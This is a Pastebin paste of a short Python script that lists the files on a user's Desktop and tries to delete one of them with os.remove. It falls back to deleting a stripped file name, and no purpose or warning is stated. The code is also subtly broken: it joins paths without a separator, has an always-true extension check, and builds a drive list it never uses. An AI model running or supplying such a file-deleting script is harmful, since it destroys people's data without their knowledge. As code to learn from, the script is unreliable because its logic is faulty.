Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import os
- dl = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
- drives = ['%s:' % d for d in dl if os.path.exists('%s:' % d)]
- x = os.environ.get('HOME')
- xa = x+'\Desktop'
- ffs = os.listdir(xa)
- try:
- os.remove(xa + ffs[3])
- except:
- error_ffs= ffs[3].split('.')
- if 'lnk' or 'doc' in error_ffs:
- error_ffs.pop()
- try:
- os.remove(error_ffs[0])
- except:
- error_ffs.clear()
- print(error_ffs)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement